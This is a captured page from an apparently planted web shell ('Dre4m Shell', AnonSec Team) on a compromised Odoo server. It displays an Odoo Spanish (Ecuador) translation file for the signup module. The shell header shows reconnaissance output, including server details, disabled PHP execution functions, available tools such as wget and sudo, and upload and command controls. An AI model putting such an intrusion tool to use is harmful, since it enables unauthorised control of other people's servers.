Dre4m Shell
Server IP : 127.0.0.2  /  Your IP : 3.148.220.16
Web Server : Apache/2.4.18 (Ubuntu)
System :
User : www-data ( )
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : disk_free_space,disk_total_space,diskfreespace,dl,exec,fpaththru,getmyuid,getmypid,highlight_file,ignore_user_abord,leak,listen,link,opcache_get_configuration,opcache_get_status,passthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,php_uname,phpinfo,posix_ctermid,posix_getcwd,posix_getegid,posix_geteuid,posix_getgid,posix_getgrgid,posix_getgrnam,posix_getgroups,posix_getlogin,posix_getpgid,posix_getpgrp,posix_getpid,posix,_getppid,posix_getpwnam,posix_getpwuid,posix_getrlimit,posix_getsid,posix_getuid,posix_isatty,posix_kill,posix_mkfifo,posix_setegid,posix_seteuid,posix_setgid,posix_setpgid,posix_setsid,posix_setuid,posix_times,posix_ttyname,posix_uname,pclose,popen,proc_open,proc_close,proc_get_status,proc_nice,proc_terminate,shell_exec,source,show_source,system,virtual
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /opt/odoo/addons/auth_signup/i18n/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /opt/odoo/addons/auth_signup/i18n/es_EC.po
# Translation of Odoo Server.
# This file contains the translation of the following modules:
# * auth_signup
#
# Translators:
# Antonio Trueba, 2016
# Pedro M. Baeza <pedro.baeza@gmail.com>, 2015
# Rick Hunter <rick_hunter_ec@yahoo.com>, 2016
msgid ""
msgstr ""
"Project-Id-Version: Odoo 9.0\n"
"Report-Msgid-Bugs-To: \n"
"POT-Creation-Date: 2016-10-10 08:43+0000\n"
"PO-Revision-Date: 2016-02-19 21:50+0000\n"
"Last-Translator: Rick Hunter <rick_hunter_ec@yahoo.com>\n"
"Language-Team: Spanish (Ecuador) (http://www.transifex.com/odoo/odoo-9/"
"language/es_EC/)\n"
"Language: es_EC\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: \n"
"Plural-Forms: nplurals=2; plural=(n != 1);\n"

#. module: auth_signup
#: model:mail.template,subject:auth_signup.set_password_email
msgid "${object.company_id.name} invitation to connect on Odoo"
msgstr "Invitación de ${object.company_id.name} para conectar a Odoo"

#. module: auth_signup
#: model:ir.ui.view,arch_db:auth_signup.res_users_form_view
msgid ""
"<strong>A password reset has been requested for this user. An email "
"containing the following link has been sent:</strong>"
msgstr ""
"<strong>Se ha solicitado un restablecimiento de contraseña para este "
"usuario. Se ha enviado un correo electrónico conteniendo el siguiente enlace:"
"</strong>"

#. module: auth_signup
#: model:ir.ui.view,arch_db:auth_signup.res_users_form_view
msgid ""
"<strong>An invitation email containing the following subscription link has "
"been sent:</strong>"
msgstr ""
"<strong>Se ha enviado un correo electrónico de invitación conteniendo el "
"siguiente enlace de suscripción:</strong>"

#. module: auth_signup
#: model:ir.model.fields,field_description:auth_signup.field_base_config_settings_auth_signup_uninvited
msgid "Allow external users to sign up"
msgstr "Permitir ingresar a usuarios externos"

#. module: auth_signup
#: code:addons/auth_signup/controllers/main.py:61
#, python-format
msgid "An email has been sent with credentials to reset your password"
msgstr ""
"Se ha enviado un correo electrónico con las credenciales para restablecer su "
"contraseña"

#. module: auth_signup
#: code:addons/auth_signup/controllers/main.py:38
#, python-format
msgid "Another user is already registered using this email address."
msgstr ""
"Otro usuario se ha registrado usando este dirección de correo electrónico"

#. module: auth_signup
#: code:addons/auth_signup/controllers/main.py:111
#, python-format
msgid "Authentication Failed."
msgstr "Autenticación fallida."

#. module: auth_signup
#: model:ir.ui.view,arch_db:auth_signup.reset_password
#: model:ir.ui.view,arch_db:auth_signup.signup
msgid "Back to Login"
msgstr "Volver al Inicio de sesión"

#. module: auth_signup
#: code:addons/auth_signup/models/res_users.py:135
#, python-format
msgid "Cannot send email: user %s has no email address."
msgstr ""
"No se puede enviar el correo electrónico: el usuario %s no tiene dirección "
"de correo electrónico."

#. module: auth_signup
#: model:ir.ui.view,arch_db:auth_signup.reset_password
msgid "Confirm"
msgstr "Confirmar"

#. module: auth_signup
#: model:ir.ui.view,arch_db:auth_signup.fields
msgid "Confirm Password"
msgstr "Confirmar contraseña"

#. module: auth_signup
#: code:addons/auth_signup/controllers/main.py:41
#, python-format
msgid "Could not create a new account."
msgstr "No se ha podido crear una cuenta nueva."

#. module: auth_signup
#: code:addons/auth_signup/controllers/main.py:63
#, python-format
msgid "Could not reset your password"
msgstr "No se puede restablecer su contraseña"

#. module: auth_signup
#: model:ir.model.fields,field_description:auth_signup.field_base_config_settings_auth_signup_reset_password
msgid "Enable password reset from Login page"
msgstr ""
"Habilitar restablecimiento de la contraseña desde la página de inicio de "
"sesión"

#. module: auth_signup
#: model:ir.model.fields,help:auth_signup.field_base_config_settings_auth_signup_uninvited
msgid "If unchecked, only invited users may sign up."
msgstr "Si no está marcado, sólo los usuarios invitados pueden ingresar."

#. module: auth_signup
#: code:addons/auth_signup/controllers/main.py:91
#, python-format
msgid "Invalid signup token"
msgstr "Palabra de ingreso no válida"

#. module: auth_signup
#: selection:res.users,state:0
msgid "Never Connected"
msgstr "Nunca conectado"

#. module: auth_signup
#: model:ir.model,name:auth_signup.model_res_partner
msgid "Partner"
msgstr "Empresa"

#. module: auth_signup
#: model:ir.ui.view,arch_db:auth_signup.fields
msgid "Password"
msgstr "Contraseña"

#. module: auth_signup
#: model:mail.template,subject:auth_signup.reset_password_email
msgid "Password reset"
msgstr "Restablecer contraseña"

#. module: auth_signup
#: model:ir.ui.view,arch_db:auth_signup.login
msgid "Reset Password"
msgstr "Restablecer contraseña"

#. module: auth_signup
#: code:addons/auth_signup/models/res_users.py:108
#, python-format
msgid "Reset password: invalid username or email"
msgstr "Restablecimiento de contraseña: usuario o correo electrónico no válido"

#. module: auth_signup
#: model:ir.ui.view,arch_db:auth_signup.res_users_form_view
msgid "Send Reset Password Instructions"
msgstr "Enviar instrucciones de restablecimiento de la contraseña"

#. module: auth_signup
#: model:ir.ui.view,arch_db:auth_signup.res_users_form_view
msgid "Send an Invitation Email"
msgstr "Enviar un correo de invitación"

#. module: auth_signup
#: model:ir.ui.view,arch_db:auth_signup.login
#: model:ir.ui.view,arch_db:auth_signup.signup
msgid "Sign up"
msgstr "Acceder"

#. module: auth_signup
#: model:ir.model.fields,field_description:auth_signup.field_res_partner_signup_type
#: model:ir.model.fields,field_description:auth_signup.field_res_users_signup_type
msgid "Signup Token Type"
msgstr "Tipo de la palabra de ingreso"

#. module: auth_signup
#: model:ir.model.fields,field_description:auth_signup.field_res_partner_signup_valid
#: model:ir.model.fields,field_description:auth_signup.field_res_users_signup_valid
msgid "Signup Token is Valid"
msgstr "La palabra de ingreso es válida"

#. module: auth_signup
#: model:ir.model.fields,field_description:auth_signup.field_res_partner_signup_url
#: model:ir.model.fields,field_description:auth_signup.field_res_users_signup_url
msgid "Signup URL"
msgstr "URL de ingreso"

#. module: auth_signup
#: model:ir.model.fields,field_description:auth_signup.field_res_users_state
msgid "Status"
msgstr "Estado"

#. module: auth_signup
#: model:ir.model.fields,field_description:auth_signup.field_base_config_settings_auth_signup_template_user_id
msgid "Template user for new users created through signup"
msgstr ""
"Plantilla de usuario para los nuevos usuarios creados a través del ingreso"

#. module: auth_signup
#: model:ir.model.fields,help:auth_signup.field_res_users_website_url
msgid "The full URL to access the document through the website."
msgstr ""
"La dirección URL completa para acceder al documento a través de la página "
"web."

#. module: auth_signup
#: model:ir.model.fields,help:auth_signup.field_base_config_settings_auth_signup_reset_password
msgid "This allows users to trigger a password reset from the Login page."
msgstr ""
"Esto permite a los usuarios lanzar un restablecimiento de la contraseña "
"desde la página de inicio de sesión."

#. module: auth_signup
#: model:ir.model,name:auth_signup.model_res_users
msgid "Users"
msgstr "Usuarios"

#. module: auth_signup
#: model:ir.model.fields,field_description:auth_signup.field_res_users_website_published
msgid "Visible in Website"
msgstr "Visible en el sitio web"

#. module: auth_signup
#: model:ir.model.fields,field_description:auth_signup.field_res_users_website_description
msgid "Website Partner Full Description"
msgstr "Descripción completa del Contacto web"

#. module: auth_signup
#: model:ir.model.fields,field_description:auth_signup.field_res_users_website_short_description
msgid "Website Partner Short Description"
msgstr "Descripción corta del Contacto web"

#. module: auth_signup
#: model:ir.model.fields,field_description:auth_signup.field_res_users_website_url
msgid "Website URL"
msgstr "URL del sitio web"

#. module: auth_signup
#: model:ir.model.fields,field_description:auth_signup.field_res_users_website_meta_description
msgid "Website meta description"
msgstr "Meta descripción del sitio web"

#. module: auth_signup
#: model:ir.model.fields,field_description:auth_signup.field_res_users_website_meta_keywords
msgid "Website meta keywords"
msgstr "Palabras claves del sitio web"

#. module: auth_signup
#: model:ir.model.fields,field_description:auth_signup.field_res_users_website_meta_title
msgid "Website meta title"
msgstr "Meta título del sitio web"

#. module: auth_signup
#: model:ir.ui.view,arch_db:auth_signup.fields
#: model:ir.ui.view,arch_db:auth_signup.reset_password
msgid "Your Email"
msgstr "Su correo electrónico"

#. module: auth_signup
#: model:ir.ui.view,arch_db:auth_signup.fields
msgid "Your Name"
msgstr "Su nombre"

#. module: auth_signup
#: model:ir.model,name:auth_signup.model_base_config_settings
msgid "base.config.settings"
msgstr "base.config.settings"

#. module: auth_signup
#: model:ir.ui.view,arch_db:auth_signup.fields
msgid "e.g. John Doe"
msgstr "Por ejemplo, John Smith"

Anon7 - 2022
AnonSec Team